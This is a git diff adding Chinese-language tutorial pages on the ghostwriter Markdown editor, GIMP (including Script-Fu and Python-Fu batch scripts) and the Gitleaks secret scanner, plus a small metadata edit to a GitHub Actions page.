+
+### 痛点 1：富文本编辑器太重，分神
+
+Word、LibreOffice Writer 功能堆叠，改个标题可能误触样式、页眉页脚。**ghostwriter 刻意做减法**：默认界面干净、可全屏、可 **Focus Mode**（只高亮当前句/段/行，其余淡出）， slogan 就是 *No excuses. No distractions. Just write.*
+
+### 痛点 2：纯记事本没有结构感
+
+`.txt` 无法表达标题层级、链接、列表；后期排版痛苦。Markdown 是 **plain text + 轻量标记**，可进 Git、可 diff、可被任何工具打开。ghostwriter 在 plain text 之上加了 **语法高亮、大纲导航、实时 HTML 预览**，写作与校对同屏完成。
+
+### 痛点 3：预览与导出依赖不同「Markdown 方言」
+
+GitHub 用 GFM，学术圈用 Pandoc，旧项目用 MultiMarkdown——各家的表格、脚注、数学公式语法不完全一样。ghostwriter **内置 cmark-gfm** 保证开箱预览；安装 Pandoc 等后可在 **导出对话框** 里换处理器，同一篇 `.md` 可出 HTML、PDF、ODT、Word 等，而不必手敲命令行（当然 Pandoc 仍可在终端单独用）。
+
+### 痛点 4：长文写作时迷失结构
+
+侧边栏 **Outline（大纲）** 从标题自动生成目录，点击可跳转编辑区或预览区对应位置；`Ctrl+J` 可键盘快速跳节。底部 **实时字数**，侧边栏还有 **Document Statistics / Session Statistics**，适合 NaNoWriMo、日更博客等需要量化进度的场景。
+
+---
+
+## 核心概念拆解
+
+### 1. 双栏模型：Editor + HtmlPreview
+
+架构上，`MarkdownEditor`（继承 Qt `QPlainTextEdit`）负责输入与存储；`HtmlPreview`（基于 `QWebEngineView`）把当前文档交给 Markdown 处理器转成 HTML 展示。你改一个字，预览会增量更新——2.2 起预览侧用 **React 只重绘变化部分**，长文档也不易卡死。
+
+这与「WYSIWYG Markdown」的本质区别：
+
+| 维度 | ghostwriter | MarkText / Typora |
+|------|-------------|-------------------|
+| 编辑区显示 | 始终 Markdown 源码 | 渲染后的视觉效果 |
+| 学习曲线 | 需记住 `#`、`*` 等语法 | 更像 Word，语法可后学 |
+| 适合人群 | 程序员、技术写作者、Git 用户 | 通用写作者、博客新手 |
+
+### 2. Markdown 处理器链（Processor）
+
+默认 **cmark-gfm**（CommonMark + GitHub Flavored Markdown：表格、任务列表、删除线、围栏代码块等）内置于应用，无需配置。
+
+可选外置处理器（需在系统 `PATH` 中）：
+
+| 处理器 | 典型用途 |
+|--------|----------|
+| **Pandoc** | 学术引用、复杂表格、LaTeX 数学、导出 PDF/DOCX |
+| **MultiMarkdown** | 脚注、元数据、部分兼容语法 |
+| **cmark** | 严格 CommonMark 环境 |
+
+启动时自动检测；**预览与导出共用当前选中的处理器**，避免「编辑器里一种渲染、导出另一种」的意外——但若原文用了 Pandoc 专有语法而预览仍用 cmark-gfm，预览可能不完整，这时应切换处理器或安装 Pandoc。
+
+### 3. 语法高亮：cmark-gfm AST 驱动
+
+`MarkdownHighlighter` 不是简单正则涂色，而是借助 **cmark-gfm 解析 AST**，按节点类型（标题、强调、代码块、引用等）应用主题色。嵌套列表、跨行代码块识别比纯正则更准确。主题（Theme）为 **浅色 + 深色** 双配色方案，可在状态栏一键切换 Dark Mode。
+
+### 4. 心流辅助：Focus Mode 与 Hemingway Mode
+
+- **Focus Mode**：淡化非当前区域，可配置高亮 **当前行 / 句 / 段 / 三行**，适合长文续写。
+- **Hemingway Mode**：禁用 Backspace 与 Delete，强迫 **只往前写、不回头删**，模拟打字机；适合头脑风暴、初稿冲刺（定稿前记得关掉）。
+
+### 5. 文档生命周期：DocumentManager
+
+`DocumentManager` 负责打开、保存、**自动保存（Autosave）**、备份与草稿。配合 **拖放图片** 到编辑区，会自动插入相对路径的 `![](...)` 语法——图片与 `.md` 同目录管理时，迁移项目文件夹不会断链。
+
+### 6. 侧边栏四件套
+
+| 标签 | 作用 |
+|------|------|
+| **Outline** | 标题树状导航 |
+| **Document Statistics** | 字符、词数、阅读时间等 |
+| **Session Statistics** | 本次会话写作量 |
+| **Cheat Sheet** | 按 `F1` 查看 Markdown 速查 |
+
+### 7. 命令行与特殊选项
+
+```bash
+ghostwriter my-article.md      # 直接打开文件
+ghostwriter --disable-gpu      # 关闭 GPU 加速（Windows + Qt6 全屏菜单 bug 规避）
+```
+
+---
+
+## 安装与第一次打开
+
+### Linux（推荐，KDE Gear 打包）
+
+```bash
+# Debian / Ubuntu
+sudo apt update && sudo apt install ghostwriter
+
+# Fedora
+sudo dnf install ghostwriter
+```
+
+较旧发行版可参考原作者 PPA / Copr（见 [KDE/ghostwriter README](https://github.com/KDE/ghostwriter)）。
+
+### Windows
+
+从 [KDE Binary Factory](https://binary-factory.kde.org/) 获取安装包或 nightly；若全屏下菜单无法弹出，使用 `--disable-gpu`。
+
+### 可选：安装 Pandoc 解锁导出
+
+```bash
+# macOS
+brew install pandoc
+
+# Ubuntu
+sudo apt install pandoc
+```
+
+安装后重启 ghostwriter，**Settings → Preferences** 里可确认是否检测到 Pandoc。
+
+**建议第一次：**
+
+1. 新建 `notes/welcome.md`，写三级标题与一段列表。
+2. 打开右侧预览，观察 GFM 渲染。
+3. 点右下角 **Focus**，试写两段感受淡出效果。
+4. `Ctrl+J` 从大纲跳到某一节。
+5. 若有 Pandoc：**File → Export** 试导出 HTML。
+
+---
+
+## 代码示例 1：技术博客骨架（GFM + 任务列表）
+
+ghostwriter 对 GFM 开箱友好；下列结构可直接粘贴进编辑区，左侧看源码、右侧看博客效果。
+
+```markdown
+---
+title: "用 ghostwriter 写第一篇技术笔记"
+date: 2026-06-13
+tags: [markdown, kde, writing]
+---
+
+# 用 ghostwriter 写第一篇技术笔记
+
+## 为什么选双栏而不是 WYSIWYG
+
+- 源码可进 Git，diff 清晰
+- 预览只负责「看起来像不像成品」
+- 快捷键 `Ctrl+B` / `Ctrl+I` 可包选中文字，不必手敲星号
+
+## 本周 TODO
+
+- [ ] 安装 Pandoc 并试导出 PDF
+- [x] 打开 Focus Mode 写完本节
+- [ ] 把图片拖进编辑器测相对路径
+
+## 一段带语法高亮的代码
+
+```python
+def word_count(text: str) -> int:
+    return len(text.split())
+```
+
+## 引用块
+
+> ghostwriter 的 Hemingway Mode 适合初稿：
+> **禁止删除**，逼自己先写完再改。
+
+---
+
+*最后更新：2026-06-13*
+```
+
+**操作提示：** 选中多行待办，按 `Ctrl+T` 可批量转为 `- [ ]` 任务项；在任务行按 `Ctrl+D` 切换 `[x]` 完成状态——比手改括号快。
+
+---
+
+## 代码示例 2：Pandoc 扩展——脚注、GFM 表格与数学
+
+安装 Pandoc 并在 ghostwriter 中选用 Pandoc 处理器后，可使用下列 **扩展语法**（cmark-gfm 单独预览时脚注可能行为不同，以导出为准）。
+
+```markdown
+# 文献阅读笔记：注意力与写作工具
+
+现代写作工具常在「功能」与「专注」之间取舍。[^1]
+
+[^1]: Newport, *Deep Work* — 深度工作需减少上下文切换。
+
+## 三种编辑器对照
+
+| 类型           | 代表          | 编辑区所见     |
+|----------------|---------------|----------------|
+| 双栏源码+预览  | ghostwriter   | Markdown 源码  |
+| 单栏 WYSIWYG   | MarkText      | 渲染后样式     |
+| 学术工作台     | Zettlr        | 可分屏 + 引用  |
+
+## 行内与块级公式（需 Pandoc + MathJax 预览）
+
+欧拉公式 $e^{i\pi} + 1 = 0$ 常作为排版 smoke test。
+
+$$
+\int_0^1 x^2 \, dx = \frac{1}{3}
+$$
+
+## 导出命令等价物（终端侧）
+
+若不用 GUI 导出，同一文件在终端可：
+
+```bash
+pandoc reading-notes.md -o reading-notes.pdf --pdf-engine=xelatex
+pandoc reading-notes.md -o reading-notes.docx
+```
+
+ghostwriter 的 Export 对话框本质上封装了这类调用，并记住上次路径与格式。
+```
+
+**图片插入：** 将 `diagram.png` 拖入编辑区，可能生成：
+
+```markdown
+![](./diagram.png)
+```
+
+若文档尚未保存，会使用 `file://` 绝对路径；保存到项目目录后建议改为相对路径，便于协作。
+
+---
+
+## 常用快捷键速查
+
+| 快捷键 | 作用 |
+|--------|------|
+| `Ctrl+B` | 粗体 `**...**` |
+| `Ctrl+I` | 斜体 `*...*` |
+| `Ctrl+K` | 删除线 |
+| `Ctrl+.` | 当前行变引用 `>` |
+| `Ctrl+8` / `Ctrl+Shift+-` | 无序列表 `*` / `-` |
+| `Ctrl+1` | 有序列表 `1.` |
+| `Ctrl+T` | GFM 任务列表 |
+| `Ctrl+D` | 切换任务完成 `[x]` |
+| `Shift+Enter` | Markdown 硬换行（行尾两空格效果） |
+| `Ctrl+J` | 大纲快速跳转 |
+| `F1` | 侧边栏 Markdown 速查 |
+| `F11` | 全屏（视平台而定） |
+
+可在 **Settings → Preferences → Editor** 开启 **自动配对括号/引号/星号**，选中文字后输入 `(`、`[`、`` ` `` 等会自动包裹。
+
+---
+
+## 与同类工具怎么选
+
+| 场景 | 更合适的工具 |
+|------|----------------|
+| 要看见 Git diff 里的 Markdown 原文，偶尔预览 | **ghostwriter** |
+| 完全不想学 `#` 语法，要 Word 式体验 | MarkText、Typora |
+| 论文 + Zotero + 多格式 Pandoc 导出 | Zettlr |
+| 已在 VS Code 里写 docs + CI | 继续 VS Code + 插件 |
+
+ghostwriter 的甜区是：**KDE/Qt 原生体验、Linux 桌面、技术向长文、强调专注与双栏预览**。它不是 IDE，不做插件生态，但 **轻、快、GPL 自由**。
+
+---
+
+## 架构一瞥（给想读源码的人）
+
+```
+MainWindow
+├── DocumentManager     # 打开/保存/自动保存/备份
+├── MarkdownEditor      # QPlainTextEdit + 列表/引用智能回车
+│   └── MarkdownHighlighter  # cmark-gfm AST 着色
+├── HtmlPreview         # QWebEngineView 实时 HTML
+└── Sidebar
+    ├── OutlineWidget
+    ├── Statistics
+    └── CheatSheet
+```
+
+2.2 重要变更：**HUD 改为侧边栏**、默认处理器从 Sundown 换为 **cmark-gfm**、预览用 **React 增量更新**、主题支持 **SASS 风格变量** 的 QSS/CSS。若你从 wereturtle 旧版升级，习惯界面位置可能略有不同。
+
+构建依赖 Qt 6（仍兼容 Qt 5）、KDE Frameworks、`cmake`；Linux 下典型流程：
+
+```bash
+git clone https://invent.kde.org/office/ghostwriter.git
+cd ghostwriter && mkdir build && cd build
+cmake .. && make && sudo make install
+```
+
+---
+
+## 常见问题
+
+**Q：预览和 Typora 渲染不一致？**  
+A：检查当前处理器。GFM 表格、任务列表用内置 cmark-gfm 一般一致；Pandoc 脚注、div 语法需选 Pandoc 并保证文法匹配。
+
+**Q：Windows 全屏后菜单点不出来？**  
+A：Qt 6 + OpenGL + `QWebEngineView` 已知问题，用 `ghostwriter --disable-gpu` 或暂不全屏。
+
+**Q：原 wereturtle/ghostwriter 和 KDE/ghostwriter 什么关系？**  
+A：同一项目演进；新 bug 与发布请跟 [KDE Bugzilla](https://bugs.kde.org) 与 [invent.kde.org](https://invent.kde.org/office/ghostwriter)。笔记 frontmatter 保留经典入口 [github.com/wereturtle/ghostwriter](https://github.com/wereturtle/ghostwriter) 便于检索旧资料。
+
+**Q：能写小说吗？**  
+A：可以。Hemingway Mode + Focus + Session Statistics 对 NaNoWriMo 类长篇友好；最终仍建议按章节拆多个 `.md` 文件，用 Git 管理版本。
+
+---
+
+## 小结
+
+| 要点 | 一句话 |
+|------|--------|
+| 定位 | Qt/KDE 双栏 Markdown 写作器，专注、轻量、GPL |
+| 编辑哲学 | 写源码、看预览，而非隐藏标记 |
+| 内置引擎 | cmark-gfm；可选 Pandoc / MMD / cmark |
+| 心流功能 | Focus、Hemingway、全屏、大纲、统计 |
+| 适合谁 | Linux 用户、技术博主、偏爱 plain text 写作者 |
+
+下一步：用本文 **代码示例 1** 建仓库 `writing/` 目录，每日一篇 `.md`；需要交 PDF 时再装 Pandoc，走 **代码示例 2** 的导出路径——**先写起来，格式后补**，正是 ghostwriter 的设计初衷。
+
+---
+
+## 参考链接
+
+- 项目主页：<https://ghostwriter.kde.org>
+- Markdown 速查文档：<https://ghostwriter.kde.org/documentation>
+- KDE 应用页：<https://apps.kde.org/ghostwriter/>
+- 源码（KDE）：<https://github.com/KDE/ghostwriter>
+- 历史仓库：<https://github.com/wereturtle/ghostwriter>
+- John Gruber Markdown 规范：<https://daringfireball.net/projects/markdown/>
+- cmark-gfm：<https://github.com/github/cmark-gfm>
+- Pandoc：<https://pandoc.org>
diff --git a/src/content/docs/projects/gimp.md b/src/content/docs/projects/gimp.md
new file mode 100644
index 000000000..5cf87d3a6
--- /dev/null
+++ b/src/content/docs/projects/gimp.md
@@ -0,0 +1,307 @@
+---
+title: GIMP — GNU 图像处理程序
+来源: 'https://github.com/GNOME/gimp'
+日期: 2026-06-13
+子分类: 渲染与图形
+分类: 图形学
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**GIMP**（GNU Image Manipulation Program，GNU 图像处理程序）是一款**免费开源**的位图图像编辑器，源码托管于 [GNOME/gimp](https://github.com/GNOME/gimp)，采用 GPL 许可，跨 Windows / macOS / Linux。它对标 Adobe Photoshop 的通用修图能力：图层、蒙版、选区、曲线、滤镜、批处理脚本——但**不绑定订阅**，且 `.xcf` 工程文件保留完整编辑历史。
+
+日常类比：如果把 [[inkscape]] 比作「用钢笔画可无限放大的施工图」，GIMP 更像**在暗房里冲洗、裁剪、调色、叠印照片**——每一张透明胶片（图层）可以单独调亮度，用剪纸模板（蒙版）只让天空变蓝，最后冲印成 JPEG 发朋友圈。再打个比方：像素画布是**固定分辨率的方格纸**，你在格子上涂色；GIMP 帮你管的是「哪一层涂什么、涂完还能不能反悔、怎么一次处理一百张照片」——让你专注修图，而不是和格式、授权搏斗。
+
+2025 年 3 月发布的 **GIMP 3.0** 是七年开发的里程碑：非破坏性 GEGL 滤镜、多选图层、改进的文字描边与色域管理（GeglColor）。项目口号隐含在 GNU 精神里：**自由使用、自由修改、自由分发**。
+
+## 为什么重要
+
+零基础学图像处理或内容生产管线，绕不开 GIMP 的几个现实理由：
+
+- **零授权成本**：个人、教育、小规模商业均可免费使用，不像 Photoshop 订阅制
+- **图层 + 蒙版思维**：修图、合成、海报、缩略图、简单 UI 资产都建立在同一套概念上
+- **开放工程格式**：`.xcf` 保存图层、通道、路径、非破坏性滤镜；可反复打开继续改
+- **脚本自动化**：内置 **Script-Fu**（Scheme）与 **Python-Fu**，配合 `gimp-console` 可无界面批处理
+- **插件生态**：GEGL 滤镜、G'MIC、Resynthesizer 等扩展；与 [[inkscape]]（矢量）、[[krita]]（绘画）形成开源创作三角
+
+## 核心要点
+
+### 1. 位图 vs 矢量
+
+| 类型 | 存储方式 | 放大 | 典型用途 |
+| --- | --- | --- | --- |
+| **位图（Raster）** | 像素矩阵 + 颜色值 | 放大会糊 | 照片、扫描件、笔刷绘画、网页位图 |
+| **矢量（Vector）** | 数学曲线与属性 | 无限清晰 | Logo、图标、印刷线条稿 |
+
+GIMP 编辑**像素**；需要矢量 Logo 时用 [[inkscape]] 画完导出 PNG/SVG，再导入 GIMP 合成。
+
+### 2. 图像、图层、通道与路径
+
+GIMP 文档结构可类比 Photoshop：
+
+| 概念 | 类比 | 作用 |
+| --- | --- | --- |
+| **Image（图像）** | 一整本相册 | 画布尺寸、色彩配置、分辨率 |
+| **Layer（图层）** | 透明胶片 | 独立编辑、混合模式、不透明度 |
+| **Channel（通道）** | 只记录明暗的底片 | RGB、Alpha、选区保存为通道 |
+| **Path（路径）** | 可弯曲的刀模 | 贝塞尔曲线，可转选区或描边 |
+| **Selection（选区）** | 临时剪纸框 | 操作只影响框内像素 |
+
+**图层组（Layer Group）** 把多层打包，可整体移动、加滤镜；GIMP 3.0 起支持**多选图层**同时变换。
+
+### 3. 蒙版（Mask）
+
+**图层蒙版**是附着在图层上的灰度图：白色=完全显示该层，黑色=完全隐藏，灰色=半透明。类比：在胶片上贴一张**渐变镂空模板**，只让天空区域接受调色，地面不受影响。
+
+操作路径：**Layer → Mask → Add Layer Mask**，用画笔在蒙版上涂黑/白。GIMP 3.0 的非破坏性滤镜目前主要挂在图层或图层组上；若要对「仅天空」做曲线，常用技巧是：**先做好选区再应用滤镜**（选区会嵌入滤镜），或把调整放在**带蒙版的图层组**上。
+
+### 4. 非破坏性编辑（GIMP 3.0 + GEGL）
+
+**GEGL**（Generic Graphics Library）是 GIMP 的图像处理管线。GIMP 3.0 默认让多数滤镜以**非破坏性**方式留在图层上（图层旁显示 **fx** 标记），可随时双击重调参数、开关、删除，而不必 Undo 一整串历史。
+
+- 喜欢老工作流：应用滤镜时勾选 **Merge Filters** 立即合并到像素
+- 工程保存：NDE 滤镜可写入 `.xcf`，下次打开继续编辑（第三方滤镜需本机已安装）
+
+### 5. 色彩与文件格式
+
+| 格式 | 角色 |
+| --- | --- |
+| **XCF** | GIMP 原生工程，保留图层/蒙版/路径/NDE 滤镜 |
+| **PNG** | 无损，支持透明，适合 Web 与 UI |
+| **JPEG** | 有损，适合照片分享，**不支持透明** |
+| **TIFF / PSD** | 与印刷、Photoshop 交换（部分特性可能扁平化） |
+| **WebP** | 现代 Web，体积更小 |
+
+GIMP 3.0 强化 **GeglColor** 与 ICC 配置：导出前在 **Image → Color Management** 确认显示与导出配置一致，避免「屏幕上好看、手机上发灰」。
+
+### 6. 选区、变换与修复工具
+
+零基础修照片常用工具链：
+
+1. **Crop（裁剪）** / **Scale（缩放）** — 构图与输出尺寸
+2. **Fuzzy Select（魔棒）** / **Free Select（套索）** — 抠图起点
+3. **Heal / Clone** — 去 blemish、仿制纹理
+4. **Levels / Curves** — 明暗与对比（可作 NDE 调整）
+5. **Gaussian Blur** — 背景虚化或柔化边缘
+
+**Unified Transform** 可一次完成移动、缩放、旋转、透视；多选图层后变换会同时作用。
+
+### 7. 插件与 PDB（过程数据库）
+
+几乎所有菜单命令（含导入导出）在内部都是 **PDB 过程（Procedure）**。Script-Fu / Python-Fu 通过 PDB 调用 `gimp-file-load`、`gimp-image-scale` 等，与 GUI 同源——**你在界面里能点的，脚本里基本都能写**。
+
+插件默认搜索路径包括用户目录下的 `plug-ins`；GIMP 3 的 Script-Fu 插件以独立进程运行，与 C 插件并列安装。
+
+### 8. Script-Fu 与 Python-Fu
+
+| 方式 | 语言 | 特点 |
+| --- | --- | --- |
+| **Script-Fu** | Scheme | 内置，Filters → Script-Fu → Console |
+| **Python-Fu** | Python 3 | Filters → Development → Python-Fu → Console |
+
+批处理、水印、批量缩放、格式转换是脚本最典型的场景。
+
+## 界面与工作流速览
+
+| 区域 | 作用 |
+| --- | --- |
+| 画布 | 中央编辑区，滚轮缩放，中键/空格拖动画布 |
+| 工具箱 | 选择、画笔、橡皮、渐变、文字、修复… |
+| 工具选项 | 当前工具参数（笔刷大小、硬度、模式） |
+| 图层/通道/路径 dock | 管理图层栈、蒙版、保存的选区 |
+| 滤镜菜单 | GEGL 与经典滤镜，多数在 GIMP 3 可非破坏性 |
+
+**零基础 10 分钟流程**：打开照片 → .duplicate 图层备份 → **Colors → Curves** 微调 → **Filters → Enhance → Sharpen** → 加图层蒙版局部恢复 → **File → Export As** 导出 PNG/JPEG。
+
+## 实践案例
+
+### 案例 1：Script-Fu 批量缩放并导出 JPEG
+
+将某文件夹内所有 JPG/PNG 长边缩到 1920px，输出到 `out/`（需已安装 GIMP，且 `gimp` 或 `gimp-console` 在 PATH）：
+
+```scheme
+;; batch-resize.scm — 在 GIMP 中：Filters → Script-Fu → Refresh Scripts 后也可注册为菜单项
+(define (batch-resize-folder source-dir dest-dir max-side)
+  (let* ((pattern (string-append source-dir "/*.{jpg,jpeg,png,JPG,PNG}"))
+         (files (cadr (file-glob pattern 0))))
+    (map (lambda (path)
+           (let* ((image (car (gimp-file-load RUN-NONINTERACTIVE path path)))
+                  (drawable (car (gimp-image-get-active-drawable image)))
+                  (w (car (gimp-image-width image)))
+                  (h (car (gimp-image-height image)))
+                  (scale (if (> w h) (/ max-side w) (/ max-side h)))
+                  (nw (round (* w scale)))
+                  (nh (round (* h scale)))
+                  (base (substring path (+ (string-length path)
+                                           (- (string-length (file-basename path))))))
+                  (out (string-append dest-dir "/" base ".jpg")))
+             (gimp-image-scale-full image nw nh INTERPOLATION-CUBIC)
+             (file-jpeg-save RUN-NONINTERACTIVE image drawable out out 90 0 0 0 0 0 0)
+             (gimp-image-delete image)))
+         files)))
+
+;; 调用示例（路径按本机修改）：
+;; (batch-resize-folder "/tmp/in" "/tmp/out" 1920)
+```
+
+命令行无 GUI 执行（GIMP 3 使用 `gimp-console` 与 Script-Fu 解释器）：
+
+```bash
+gimp-console -i --batch-interpreter=plug-in-script-fu-eval \
+  --batch='(load "/path/to/batch-resize.scm")' \
+  --batch='(batch-resize-folder "/tmp/in" "/tmp/out" 1920)' \
+  --batch='(gimp-quit 0)'
+```
+
+**要点**：`RUN-NONINTERACTIVE` 避免弹对话框；批处理结束务必 `gimp-quit`，否则进程挂起。
+
+### 案例 2：Python-Fu 批量加水印
+
+在 **Filters → Development → Python-Fu → Console** 可交互试验；保存为 `~/.config/GIMP/3.0/plug-ins/watermark-batch.py` 可变成菜单插件：
+
+```python
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from gimpfu import *
+import os
+import glob
+
+def watermark_folder(src_dir, watermark_path, dest_dir, opacity=80.0):
+    for path in glob.glob(os.path.join(src_dir, "*.png")):
+        image = pdb.gimp_file_load(path, path)
+        wm = pdb.gimp_file_load(watermark_path, watermark_path)
+        wm_layer = pdb.gimp_image_get_active_layer(wm)
+        pdb.gimp_image_insert_layer(image, wm_layer, None, -1)
+        pdb.gimp_layer_set_opacity(wm_layer, opacity)
+        pdb.gimp_layer_set_offsets(
+            wm_layer,
+            pdb.gimp_image_width(image) - pdb.gimp_image_width(wm) - 20,
+            pdb.gimp_image_height(image) - pdb.gimp_image_height(wm) - 20,
+        )
+        drawable = pdb.gimp_image_merge_visible_layers(image, CLIP_TO_IMAGE)
+        out = os.path.join(dest_dir, os.path.basename(path))
+        pdb.file_png_save_defaults(image, drawable, out, out)
+        pdb.gimp_image_delete(image)
+        pdb.gimp_image_delete(wm)
+
+register(
+    "python_fu_watermark_folder",
+    "Batch watermark PNGs in a folder",
+    "",
+    "Study Notes",
+    "Study Notes",
+    "2026",
+    "",
+    "",
+    [
+        (PF_DIRNAME, "src_dir", "Source folder", ""),
+        (PF_FILE, "watermark_path", "Watermark PNG", ""),
+        (PF_DIRNAME, "dest_dir", "Output folder", ""),
+        (PF_SLIDER, "opacity", "Opacity", 80.0, (0.0, 100.0, 1.0)),
+    ],
+    [],
+    [],
+    watermark_folder,
+    menu="<Image>/Filters/Study",
+    domain=("watermark-batch", gimp.locale_directory),
+)
+
+main()
+```
+
+**要点**：水印用 **PNG 透明底**；`merge_visible_layers` 会扁平化——若需保留图层请改为直接 `file_png_save` 活动层组合。
+
+### 案例 3：单张图命令行导出 WebP
+
+不写脚本，仅用 PDB 过程链（适合 CI 里一张预览图）：
+
+```bash
+gimp-console -i --batch-interpreter=plug-in-script-fu-eval \
+  --batch='(let* ((img (car (gimp-file-load RUN-NONINTERACTIVE "logo.png" "logo.png")))
+                 (drw (car (gimp-image-get-active-drawable img))))
+            (file-webp-save RUN-NONINTERACTIVE img drw "logo.webp" "logo.webp" 0 85 0 0 0 0 0)
+            (gimp-image-delete img))' \
+  --batch='(gimp-quit 0)'
+```
+
+### 案例 4：非破坏性曲线 + 图层组蒙版（GIMP 3 工作流）
+
+1. 复制背景层为 **「调整组」** 内的唯一图层（或整组套住需调整的层）
+2. 选中组 → **Colors → Curves**（或 **Filters → GEGL Operation**）→ 确认未勾选 Merge Filters
+3. 在组上 **Add Layer Mask**，用黑白渐变让调整只作用于天空
+4. 随时点击 **fx** 重新编辑曲线；满意后 **File → Export** 交付扁平 PNG
+
+### 案例 5：与 [[inkscape]] 协作
+
+1. Inkscape 导出 2× 分辨率 PNG（透明底图标）
+2. GIMP 打开 → **Layer → Transparency → Alpha to Selection** 得精确选区
+3. 在选区内填色、加外发光（GEGL）、导出 Web 用 WebP
+
+## 常用快捷键
+
+| 快捷键 | 功能 |
+| --- | --- |
+| `R` | 矩形选区 |
+| `Shift+R` | 圆角矩形选区（GIMP 3） |
+| `F` | 自由选择 / 套索 |
+| `U` | 统一变换 |
+| `M` | 移动图层/选区 |
+| `P` | 画笔 |
+| `E` | 橡皮 |
+| `Ctrl+Shift+N` | 新建图层 |
+| `Ctrl+M` | 添加图层蒙版 |
+| `Ctrl+Shift+E` | 导出为 |
+| `Ctrl+Z` / `Ctrl+Y` | 撤销 / 重做 |
+
+## 踩过的坑
+
+1. **直接保存 JPEG 当工程**：JPEG 会合并图层；长期项目务必 **Save as XCF**。  
+2. **忘记转换色彩配置**：Web 导出常用 sRGB；印刷需嵌入 ICC 并与对方确认。  
+3. **批处理路径含空格**：Scheme 字符串要转义，或改用 Python `os.path`。  
+4. **GIMP 2.x 脚本上 3.0**：PDB 类型有变（如 drawable ID → 对象数组），需按 [porting 文档](https://developer.gimp.org/resource/script-fu/porting_scriptfu_scripts/) 调整。  
+5. **非破坏性滤镜与「合并」习惯**：交付前若只要扁平图，**Export** 即可；不必先 Merge 所有 fx，除非要兼容无 GIMP 的下游。  
+6. **浮动选区困惑**：GIMP 3 默认粘贴为新图层；需要旧式浮动选区用 **Paste as Floating Selection**。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 照片修图、抠图合成、海报、缩略图、简单纹理
+- 批量缩放、水印、格式转换（脚本 + `gimp-console`）
+- 学习图层/蒙版/色彩调整，迁移到 Photoshop 时概念可复用
+- 开源文档站配图、博客头图、轻量 UI 位图
+
+**不适用**：
+
+- 专业插画厚涂（优先 [[krita]]）
+- Logo / 图标矢量源文件（优先 [[inkscape]]）
+-  RAW 摄影工作流主力（可考虑 darktable + GIMP 修图）
+- 多页排版（Scribus / InDesign）
+- 依赖 Adobe 专有智能对象、云端协作的设计团队
+
+## 与邻居项目对照
+
+| 项目 | 维度 | 关系 |
+| --- | --- | --- |
+| [[inkscape]] | 矢量 | 出 SVG/PNG；GIMP 做合成与位图精修 |
+| [[krita]] | 绘画 | 笔刷创作在 Krita；GIMP 修照片与批处理 |
+| [[imagemagick]] | CLI 位图 | 纯命令行转换；复杂交互与图层仍用 GIMP |
+| [[ffmpeg]] | 视频 | 视频帧导出 → GIMP 修帧 → 再合成 |
+| [[docusaurus]] | 文档站 | 导出 WebP/PNG 插图进静态站 |
+
+## 学到什么
+
+- **图层 + 蒙版是通用语言**：从 GIMP 到 Photoshop 到 [[krita]]，思维可迁移。  
+- **破坏性 vs 非破坏性要自觉选择**：GIMP 3 的 GEGL 管线让「试错成本」下降，但交付物仍常常是扁平位图。  
+- **PDB 统一 GUI 与脚本**：学会在 Procedure Browser 里查参数，比死记 API 更快。  
+- **工程文件与交付文件分离**：XCF 是仓库，PNG/JPEG/WebP 是产物——别把 JPEG 当源文件。
+
+## 延伸资源
+
+- 官方发布说明：[GIMP 3.0 Release Notes](https://www.gimp.org/release-notes/gimp-3.0.html)
+- 源码与贡献：[github.com/GNOME/gimp](https://github.com/GNOME/gimp)
+- Script-Fu 文档：[developer.gimp.org — Script-Fu](https://developer.gimp.org/resource/script-fu/)
+- 内置帮助：**Help → User Manual**（可在线 [docs.gimp.org](https://docs.gimp.org/)）
+- 社区插件：G'MIC、Resynthesizer（内容感知填充）
diff --git a/src/content/docs/projects/github-actions.md b/src/content/docs/projects/github-actions.md
index 180c1e1ff..ad573a51b 100644
--- a/src/content/docs/projects/github-actions.md
+++ b/src/content/docs/projects/github-actions.md
@@ -2,7 +2,7 @@
 title: GitHub Actions — 仓库自带的 CI/CD 流水线
 来源: https://docs.github.com/en/actions
 日期: 2026-05-31
-子分类: DevOps / CI-CD
+子分类: DevOps 与运维
 分类: 基础设施
 难度: 入门
 provenance: pipeline-v3
diff --git a/src/content/docs/projects/gitleaks.md b/src/content/docs/projects/gitleaks.md
new file mode 100644
index 000000000..18fef2e04
--- /dev/null
+++ b/src/content/docs/projects/gitleaks.md
@@ -0,0 +1,248 @@
+---
+title: Gitleaks — Git 仓库密钥泄露扫描
+来源: https://github.com/gitleaks/gitleaks
+日期: 2026-06-13
+子分类: security
+分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+## 是什么
+
+Gitleaks 是 Zach Rice 2018 年用 Go 写的**密钥泄露扫描器**（SAST，静态应用安全测试）。它会在 Git 提交历史、工作区文件、甚至管道输入里，用正则 + 熵值启发式去找硬编码的密码、API Key、私钥、Token 等敏感信息。
+
+日常类比：
+
+- **把代码仓库当成一本公开日记**：你每 `git commit` 一次，就等于在日记里新写了一页。Gitleaks 不是只读「当前这一页」，而是能把**整本日记从第一页翻到现在**，看有没有哪一页不小心写进了家门钥匙的复印件。
+- **门禁 vs 保安巡逻**：`.gitignore` 像「以后别再把钥匙贴门上」；Gitleaks 像保安拿着清单，检查**历史上有没有已经贴出去过**——删了文件、改了配置，旧 commit 里的秘密仍然在 `git log` 里躺着。
+- **金属探测器**：机场安检不关心你「现在口袋里有没有刀」，它扫的是**所有可能藏违禁品的位置**。Gitleaks 对 AWS Key、GitHub PAT、数据库连接串等有上千条内置规则，相当于针对不同「违禁品形状」的探测器。
+
+最简单的体验，扫描当前目录这个 Git 仓库：
+
+```bash
+# 安装（macOS）
+brew install gitleaks
+
+# 扫描本地 git 仓库（v8.19+ 推荐用 git 子命令，替代已弃用的 detect）
+gitleaks git -v .
+
+# 只扫某个目录/文件，不依赖 .git
+gitleaks dir -v ./src
+```
+
+有泄露时，终端会打印 `Finding`、`Secret`、`RuleID`、文件行号、关联的 commit 与作者——足够你定位「谁、何时、在哪一行」把秘密写进了历史。
+
+## 为什么重要
+
+不理解 Gitleaks 这类工具，下面这些事很容易踩坑：
+
+- **「我已经删了」不等于安全**：密钥进过 Git 历史，就等于可能被 fork、镜像、CI 日志、备份磁带永久保留。轮换密钥 + 清历史是另一回事，扫描是发现问题的第一步。
